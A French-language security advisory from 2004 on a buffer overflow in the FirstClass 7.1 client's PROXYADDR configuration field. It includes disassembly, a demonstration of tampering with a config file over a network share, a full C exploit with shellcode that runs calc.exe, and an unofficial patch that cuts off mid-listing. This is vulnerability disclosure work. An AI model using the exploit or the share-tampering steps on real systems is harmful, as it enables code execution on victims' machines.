########################################################################################### ~ I2S LAB Security Advisory ~ ########################################################################################### http://www.I2S-LAB.com systèmes affectés : Server / Client FirstClass version 7.1 Editeur / Vendeur : Open Text, http://www.centrinity.com Impacte : Execution de code à l'insu d'un utilisateur Decouverte du bug : 30 Octobre 2003 Analyse d'impacte : 10 Decembre 2003 Elaboration du correctif par I2S-LaB : 16 Decembre 2003 Prévention de l'editeur : 25 Mars 2004 Reponse de l'editeur : 30 Mars 2004 Publication officiel : 07 Avril 2004 Description ___________ FirstClass est un système attractif et complet de services réseaux, permettant de fournir une altérnative à Microsoft Exchange. Pour tirer pleinement partie des fonctions offertes par le serveur, l'utilisateur doit posséder un client téléchargable gratuitement à l'adresse suivante : http://www.centrinity.com/ClientDownloads/ Details techniques __________________ Le client FirstClass souffre d'une vulnérabilité de dépassement de tampon, pouvant permettre à une personne malveillante d'executer du code à l'insu d'un utilisateur, lors d'un clique sur le bouton "LOGIN". Le problème ce situe dans le fichier de configuration "LOCAL NETWORK.FCP", dont le paramètre "PROXYADDR" est mal analysé par le programme. Toute personne ayant accès à ce fichier de configuration localement ou à distance, peut forcer un utilisateur a executé une commande lors d'une tentative de connexion au serveur. ============================================================================== Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\>type "c:\Program Files\FirstClass\fcp\Local Network.FCP" PROXYPORT = 1080 PROXYADDR = "AAAAAAAAAAAAAAAABBBB" CONNTYPE = 8 FCPENCRYPT = 1 DLSEND = 0 DLERRS = 0 DLRCV = 0 MDMDBG = 0 SLDBG = 0 TCPTXWIN = 10000 TCPRXBUF = 10000 TCPREMPORT = 510 C:\>c:\Program Files\FirstClass\Fcc32.exe ============================================================================= This exception may be expected and handled. eax=00000000 ebx=00000093 ecx=fffffffd edx=00000003 esi=00000075 edi=00c3c3f0 eip=42424242 esp=0012f720 ebp=41414141 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010212 42424242 ?? ??? 0:000> dd esp 0012f720 00c4a600 00c4a5d0 00000000 0012f798 0012f730 0054dae9 0012f8d8 00000000 00000280 0012f740 00c4a5d0 78478191 78469640 ffffffff 0012f750 00000004 022d6538 00c20000 0066024c 0012f760 00c4a5d0 00c4a5d0 022dc858 0012f77c 0012f770 0056ca34 022dc858 00000000 0012f78c 0012f780 00550a4f 022dc858 00000001 0012f8f8 0012f790 006229fd ffffffff 0012f7b4 0056c5e8 EIP = 42424242, ce qui signifie que le programme part du principe que PROXYADDR ne peut contenir que 16 caractères, soit une adresse IP xxx.xxx.xxx.xxx Voici comment ce présente la fonction vulnérable : ============================================================================== 00401000 ; File Name : C:\Program Files\FirstClass\Fcc32.exe 00401000 ; Format : Portable executable for IBM PC (PE) 00401000 ; Section 1. (virtual address 00001000) 00401000 ; Virtual size : 00224175 (2244981.) 00401000 ; Section size in file : 00225000 (2248704.) 00401000 ; Offset to raw data for section: 00001000 00401000 ; Flags 60000020: Text Executable Readable 00401000 ; Alignment : 16 bytes ? 00401000 ; OS type : MS Windows 00401000 ; Application type: Executable 32bit 00401000 00401000 00401000 model flat 00401000 00401000 ; --------------------------------------------------------------------------- 005620DA ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ 005620DA 005620DA 005620DA ; long __cdecl FCPProxyIPLong(unsigned char *) 005620DA ; Attributes: bp-based frame 005620DA 005620DA public ?FCPProxyIPLong@@YAJPAE@Z 005620DA ?FCPProxyIPLong@@YAJPAE@Z proc near ; CODE XREF: CSerWTCP::Init(tCfgRec *,int)+22Ap 005620DA push ebp 005620DB mov ebp, esp 005620DD sub esp, 50h 005620E0 mov eax, [ebp+8] 005620E3 push eax 005620E4 lea ecx, [ebp-50h] 005620E7 push ecx 005620E8 call ?pstrcpy@@YAXPAEPBE@Z ; pstrcpy(uchar *,uchar const *) 005620ED add esp, 8 005620F0 push offset $SG29826_0 ; "\t.0.0.0.0." 005620F5 lea edx, [ebp-50h] 005620F8 push edx 005620F9 call ?pstrcat@@YAXPAEPBE@Z ; pstrcat(uchar *,uchar const *) 005620FE add esp, 8 00562101 lea eax, [ebp-50h] 00562104 push eax 00562105 call ?PtoCstr@@YAPADPAE@Z ; PtoCstr(uchar *) 0056210A add esp, 4 0056210D push offset $SG29828 ; "." 00562112 lea ecx, [ebp-50h] 00562115 push ecx 00562116 call _strtok 0056211B add esp, 8 0056211E push eax 0056211F lea edx, [ebp-0Ch] 00562122 push edx 00562123 call _strcpy 00562128 add esp, 8 0056212B lea eax, [ebp-0Ch] 0056212E push eax 0056212F call _atoi 00562134 add esp, 4 00562137 mov [ebp-10h], al 0056213A push 1 0056213C lea ecx, [ebp-10h] 0056213F push ecx 00562140 lea edx, [ebp-4] 00562143 push edx 00562144 call _memcpy 00562149 add esp, 0Ch 0056214C push offset $SG29831 ; "." 00562151 push 0 00562153 call _strtok 00562158 add esp, 8 0056215B push eax 0056215C lea eax, [ebp-0Ch] 0056215F push eax 00562160 call _strcpy 00562165 add esp, 8 00562168 lea ecx, [ebp-0Ch] 0056216B push ecx 0056216C call _atoi 00562171 add esp, 4 00562174 mov [ebp-10h], al 00562177 push 1 00562179 lea edx, [ebp-10h] 0056217C push edx 0056217D lea eax, [ebp-3] 00562180 push eax 00562181 call _memcpy 00562186 add esp, 0Ch 00562189 push offset $SG29834 ; "." 0056218E push 0 00562190 call _strtok 00562195 add esp, 8 00562198 push eax 00562199 lea ecx, [ebp-0Ch] 0056219C push ecx 0056219D call _strcpy 005621A2 add esp, 8 005621A5 lea edx, [ebp-0Ch] 005621A8 push edx 005621A9 call _atoi 005621AE add esp, 4 005621B1 mov [ebp-10h], al 005621B4 push 1 005621B6 lea eax, [ebp-10h] 005621B9 push eax 005621BA lea ecx, [ebp-2] 005621BD push ecx 005621BE call _memcpy 005621C3 add esp, 0Ch 005621C6 push offset $SG29837 ; "." 005621CB push 0 005621CD call _strtok 005621D2 add esp, 8 005621D5 push eax 005621D6 lea edx, [ebp-0Ch] 005621D9 push edx 005621DA call _strcpy 005621DF add esp, 8 005621E2 lea eax, [ebp-0Ch] 005621E5 push eax 005621E6 call _atoi 005621EB add esp, 4 005621EE mov [ebp-10h], al 005621F1 push 1 005621F3 lea ecx, [ebp-10h] 005621F6 push ecx 005621F7 lea edx, [ebp-1] 005621FA push edx 005621FB call _memcpy 00562200 add esp, 0Ch 00562203 mov eax, [ebp-4] 00562206 mov esp, ebp 00562208 pop ebp 00562209 retn 00562209 ?FCPProxyIPLong@@YAJPAE@Z endp 00562209 00562209 ; --------------------------------------------------------------------------- Cette fonction est une fonction propriétaire de FirstClass équivalente à inet_addr() de la librairie winsock /* * unsigned long inet_addr ( const char FAR * cp ); */ Voici à peut près, ce que donne cette fonction en C ########################################################################################### ******************************************************************************************* long __cdecl FCPProxyIPLong( unsigned char *data ) { char temp[16], cIP[3], *p; DWORD dwIpConverted = 0; BYTE sIP = 0; int i = 0; lstrcpy( temp, data ); p = strtok( temp, "." ); while( p && i < 4 ) { lstrcpy( cIP, p ); sIP = atoi( cIP ); memcpy( (BYTE *)&dwIpConverted + i, (BYTE *)&sIP , 1); p = strtok( NULL, "."); i++; } return dwIpConverted; } ******************************************************************************************* ########################################################################################### Si vous portez votre attention sur les lignes suivantes -> char temp[16]; -> lstrcpy( temp, data ); vous pouvez vous rendre compte que nous sommes en présence d'une erreur de programmation des plus classiques, car si "data" dépasse 16 octets, la fonction strcpy écrira en dehors de l'espace mémoire qui lui était alloué, écrasant ainsi les données placées sur la pile. demonstration _____________ C:\>net use * \\victime\c "" /user:"administrateur" Le lecteur F: est maintenant connecté à \\victime\c. La commande s'est terminée correctement. C:\>dir "f:\Program Files\FirstClass\Fcp" Le volume dans le lecteur F n'a pas de nom. Le numéro de série du volume est 44DD-C75F Répertoire de f:\Program Files\FirstClass\Fcp 07/01/2004 16:29 . 07/01/2004 16:29 .. 06/06/2002 10:45 302 Dialup Internet.FCP 09/09/1999 10:36 183 High-Speed Internet.FCP 09/09/1999 10:35 190 Internet.FCP 09/09/1999 10:36 183 Local Network.FCP 4 fichier(s) 858 octets 2 Rép(s) 1 007 112 192 octets libres C:\>type "f:\Program Files\FirstClass\Fcp\Local Network.FCP" PROXYPORT = 1080 PROXYADDR = "0.0.0.0" CONNTYPE = 8 FCPENCRYPT = 1 DLSEND = 0 DLERRS = 0 DLRCV = 0 MDMDBG = 0 SLDBG = 0 TCPTXWIN = 10000 TCPRXBUF = 10000 TCPREMPORT = 510 C:\>d:\code\exploits\FirstClass\FCexploit.exe ############################################### FirstClass Client local buffer overflow Exploit ############################################### Discovered & coded by I2S-LaB. URL : http://www.I2S-LaB.com MAIL : Contact[at]I2S-LaB.com usage : d:\code\exploits\FirstClass\FCexploit.exe /RUN | /RESTORE [path to Local Network.FCP] /RUN : launch the xploit against "Local Network.FCP" /RESTORE : Restore the previous "Local Network.FCP" [path to Local Network.FCP] : Optional, define the path of the "Local Network.FCP" to exploit. Default is C:\Program Files\FirstClass\Fcp\ C:\>d:\code\exploits\FirstClass\FCexploit.exe /run "f:\Program Files\FirstClass\Fcp" ############################################### FirstClass Client local buffer overflow Exploit ############################################### Discovered & coded by I2S-LaB. URL : http://www.I2S-LaB.com MAIL : Contact[at]I2S-LaB.com Saving the Local Network file...ok Opening the Local Network file...ok Writing the Local Network File...ok C:\>dir "f:\Program Files\FirstClass\Fcp" Le volume dans le lecteur F n'a pas de nom. Le numéro de série du volume est 44DD-C75F Répertoire de f:\Program Files\FirstClass\Fcp 07/01/2004 16:31 . 07/01/2004 16:31 .. 06/06/2002 10:45 302 Dialup Internet.FCP 09/09/1999 10:36 183 High-Speed Internet.FCP 09/09/1999 10:35 190 Internet.FCP 09/09/1999 10:36 183 Local Network.BAK 07/01/2004 16:31 2 750 Local Network.FCP 5 fichier(s) 3 608 octets 2 Rép(s) 1 007 108 096 octets libres C:\>type "f:\Program Files\FirstClass\Fcp\Local Network.FCP" CONNTYPE = 8 FCPENCRYPT = 1 DLSEND = 0 DLERRS = 0 DLRCV = 0 MDMDBG = 0 SLDBG = 0 TCPTXWIN = 10000 TCPRXBUF = 10000 TCPREMPORT = 510 PROXYPORT = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAÙGZ3 ïýWRWhExecOü´ ¿ûæWhEL32hKERNì]õS3 ü´XØØ  ?ì]ÝSPfü¸Q?O ?j? u° ðfâ´L ÎÞ¦    calc.exe & " PROXYADDR = "AAAAAAAAAAEEEEDD_u- C:\>net use * /d Vous possédez les connexions à distance suivantes : F: \\victime\c La poursuite de cette opération va rompre les connexions. Désirez-vous continuer cette opération ? (O/N) [N] : o La commande s'est terminée correctement. C:\> Quand "VICTIME" ce connecte à FirstClass par l'intermediaire du client, la calculatrice se lance. Exploit _______ /*********************************************************** ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ########################################################### # FirstClass Desktop 7.1 (latest) buffer overflow exploit # ########################################################### Discovered and coded by I2S-LaB. URL : http://www.I2S-LaB.com contact : contact[at]I2S-LaB.com ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Compile it with cl.exe (VC++6) ************************************************************/ #include void main (int argc, char *argv[]) { HANDLE FCP; DWORD NumberOfBytesWritten; unsigned char *p, FC_FILE[] = "Local Network.FCP", PATH[] = "C:\\Program Files\\FirstClass\\Fcp\\", rawData[] = ///////////////////////////////////////////////////////////////// // FC file data ///////////////////////////////////////////////////////////////// "\x43\x4F\x4E\x4E\x54\x59\x50\x45\x20\x3D\x20\x38\x0D\x0A\x46\x43" "\x50\x45\x4E\x43\x52\x59\x50\x54\x20\x3D\x20\x31\x0D\x0A\x44\x4C" "\x53\x45\x4E\x44\x20\x3D\x20\x30\x0D\x0A\x44\x4C\x45\x52\x52\x53" "\x20\x3D\x20\x30\x0D\x0A\x44\x4C\x52\x43\x56\x20\x3D\x20\x30\x0D" "\x0A\x4D\x44\x4D\x44\x42\x47\x20\x3D\x20\x30\x0D\x0A\x53\x4C\x44" "\x42\x47\x20\x3D\x20\x30\x0D\x0A\x54\x43\x50\x54\x58\x57\x49\x4E" "\x20\x3D\x20\x31\x30\x30\x30\x30\x0D\x0A\x54\x43\x50\x52\x58\x42" "\x55\x46\x20\x3D\x20\x31\x30\x30\x30\x30\x0D\x0A\x54\x43\x50\x52" "\x45\x4D\x50\x4F\x52\x54\x20\x3D\x20\x35\x31\x30\x0D\x0A\x50\x52" "\x4F\x58\x59\x50\x4F\x52\x54\x20\x3D\x20\x22" ///////////////////////////////////////////////////////////////// // MASS NOP LIKE : 'A' = inc ecx ///////////////////////////////////////////////////////////////// "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* * Fcclient Specific shellcode [78 bytes] ******************************************************************** :00401006 EB47 jmp 0040104F :00401008 5A pop edx :00401009 33FF xor edi, edi :0040100B 8BEC mov ebp, esp :0040100D 57 push edi :0040100E 52 push edx :0040100F 57 push edi :00401010 6845786563 push 63657845 :00401015 4F dec edi :00401016 81EFFFA89691 sub edi, 9196A8FF :0040101C 57 push edi :0040101D 68454C3332 push 32334C45 :00401022 684B45524E push 4E52454B :00401027 8D5DE4 lea ebx, dword ptr [ebp-1C] :0040102A 53 push ebx :0040102B 33FF xor edi, edi :0040102D 81EF589D9DFF sub edi, FF9D9D58 :00401033 FF17 call dword ptr [edi] :00401035 8D5DED lea ebx, dword ptr [ebp-13] :00401038 53 push ebx :00401039 50 push eax :0040103A 6681F75103 xor di, 0351 :0040103F 4F dec edi :00401040 FF17 call dword ptr [edi] :00401042 6A01 push 00000001 :00401044 FF75F8 push [ebp-08] :00401047 FFD0 call eax :00401049 6683EF4C sub di, 004C :0040104D FFD7 call edi :0040104F E8B4FFFFFF call 00401008 ********************************************************************* * */ "\xEB\x47\x5A\x33\xFF\x8B\xEC\x57\x52\x57\x68\x45\x78\x65\x63\x4F" "\x81\xEF\xFF\xA8\x96\x91\x57\x68\x45\x4C\x33\x32\x68\x4B\x45\x52" "\x4E\x8D\x5D\xE4\x53\x33\xFF\x81\xEF\x58\x9D\x9D\xFF\xFF\x17\x8D" "\x5D\xED\x53\x50\x66\x81\xF7\x51\x03\x4F\xFF\x17\x6A\x01\xFF\x75" "\xF8\xFF\xD0\x66\x83\xEF\x4C\xFF\xD7\xE8\xB4\xFF\xFF\xFF" "calc.exe & " // to execute //////////////////////////////////////////////////////////////// // OTHER DATA //////////////////////////////////////////////////////////////// "\x22\x0A\x0D\x0A\x50\x52\x4F\x58\x59\x41\x44\x44\x52\x20" "\x3D\x20\x22\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x45\x45\x45" "\x45\x44\x44" ///////////////////////////////////////////////////////////////// // Return Address ///////////////////////////////////////////////////////////////// "\x5f\x75\xC2\x00"; // Banner printf ("###############################################\n" "FirstClass Client local buffer overflow Exploit\n" "###############################################\n" "Discovered & coded by I2S-LaB.\n\n" "URL : http://www.I2S-LaB.com\n" "MAIL : Contact[at]I2S-LaB.com\n\n"); if ( !argv[1]) argv[1] = FC_FILE; (argc > 2 ) ? (p = argv[2]) : (p = PATH); if ( !(SetCurrentDirectory( p ) ) ) { printf ("cannot set current directory to %s\nexiting.\n", p); ExitProcess(0); } if (!lstrcmpi (argv[1], "/restore") ) printf ("Restore the backup file...%s\n", CopyFile ("Local Network.BAK", FC_FILE, FALSE) ? "ok" : "Error : backup file not found!\n"); else if ( !lstrcmpi (argv[1], "/run")) { printf ("Saving the Local Network file...%s\n", CopyFile (FC_FILE, "Local Network.BAK", TRUE) ? "ok" : "Backup file cannot be made"); printf ("Opening the Local Network file..."); FCP = CreateFile (FC_FILE, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL); if (FCP == INVALID_HANDLE_VALUE) { printf ("cannot open Local Network file, exiting!\n"); ExitProcess (-1); } printf ("ok\nWriting the Local Network File...%s\n", WriteFile (FCP, rawData, strlen (rawData) + 1, &NumberOfBytesWritten, NULL) ? "ok" : "Write file error!"); } else printf ("usage : %s /RUN | /RESTORE [path to Local Network.FCP]\n\n" "/RUN : launch the xploit against \"Local Network.FCP\"\n" "/RESTORE : Restore the previous \"Local Network.FCP\"\n\n" "[path to Local Network.FCP] : Optional,\ndefine the path of the \"Local Network.FCP\" to exploit.\n" "Default is %s\n", argv[0], PATH); } Solution ________ En attendant un correctif de la part de l'éditeur, I2S-LaB met à disposition de ceux qui le desirent un patch non officiel permettant de corriger temporairement le problème. Referez vous à l'url http://www.i2s-lab.com/Research-tools.html pour obtenir la version binaire du code source ci dessous. /****************************************************************** =================================================================== Unoffical patch for FirstClass Client 7.1 PROXYADDR buffer overflow =================================================================== Coded by I2S-LaB. Mail : Contact[at]I2S-LaB.com Url : http://www.I2S-LaB.com compilation : cl.exe (VC++6) *******************************************************************/ #include #include #include #include #pragma comment (lib, "version.lib") #define DefaultPATH "C:\\Program Files\\FirstClass\\Fcc32.exe" ////////////////////////////////////////////// // little class ////////////////////////////////////////////// class I2S_ManipFile { public : I2S_ManipFile() { this->File = 0;}; ~I2S_ManipFile() { CloseHandle (this->File); }; BOOL OpenFile (char *file); int Write (DWORD offset, char *buffer, DWORD NumberOfByteToWrite); BOOL ourGetVersion (char *file); VS_FIXEDFILEINFO *FccInfo; private : HANDLE File; DWORD var; char *pVersion; }; ////////////////////////////////////////////// // get version ////////////////////////////////////////////// BOOL I2S_ManipFile::ourGetVersion(char *file) { if ( !(this->var = GetFileVersionInfoSize(file, &this->var)) ) return FALSE; this->pVersion = new char[var]; GetFileVersionInfo(file, 0, this->var, this->pVersion); VerQueryValue(this->pVersion, "\\", (LPVOID *) &this->FccInfo, (PUINT) &this->var); delete this->pVersion; return TRUE; } ////////////////////////////////////////////// // Ouvre le fichier à patcher ////////////////////////////////////////////// BOOL I2S_ManipFile::OpenFile(char *file) { this->File = CreateFile (file, GENERIC_READ + GENERIC_WRITE, FILE_SHARE_READ + FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (this->File == INVALID_HANDLE_VALUE) return FALSE; else return TRUE; } ////////////////////////////////////////////// // Ecrit des données dans le fichier ////////////////////////////////////////////// int I2S_ManipFile::Write(DWORD offset, char *buffer, DWORD NumberOfByteToWrite) { DWORD NumberOfByteWritten; if (!this->File) return -1; SetFilePointer (this->File, offset, NULL, FILE_BEGIN); WriteFile (this->File, buffer, NumberOfByteToWrite, &NumberOfByteWritten, NULL); return NumberOfByteWritten; } ////////////////////////////////////////////// // MAIN ////////////////////////////////////////////// void main (int argc, char *argv[]) { char *PATH; int i; I2S_ManipFile FirstClass; struct _info { int offset; char *buffer; int NumberOfByte; } Info[5] = { {0x162209, "\xE8\x72\x2F\x0C\x00\xC3", 6}, // Call 00625180 {0x225180, "\x81\x7C\x24\x04\xB3\xBC\x54\x00" // cmp dword ptr [esp+04], 0054BCB3 "\x75\x01" // jne 0062518B "\xC3" // ret "\x6A\x00" // push 00000000 "\x68\x00\x53\x62\x00" // push 00625300 "\x68\x20\x53\x62\x00" // push 00625320 "\x6A\x00" // push 00000000 "\xFF\x15\xB8\x66\x62\x00" // Call MessageBoxA "\xFF\x15\xAC\x61\x62\x00", 37}, // Call ExitProcess {0x225300, "I2S-LaB Warning !", 17}, {0x225320, "A buffer overflow attempt has been blocked. " "Please, download the latest version of your FirstClass " "client at http://www.centrinity.com to fix this problem.\x0d\x0a\x0d\x0a" "for further technicals details, take a look at our security advisory : " "http://www.I2S-LaB.com", 252}, {0,NULL,0}, }; printf ("##############################################\n" "FirstClass Client version 7.1 Unofficial patch\n" "##############################################\n" "By I2S-LaB\n" "----------------------\n" "http://www.I2S-LaB.com\n" "Contact[at]I2S-LaB.com\n" 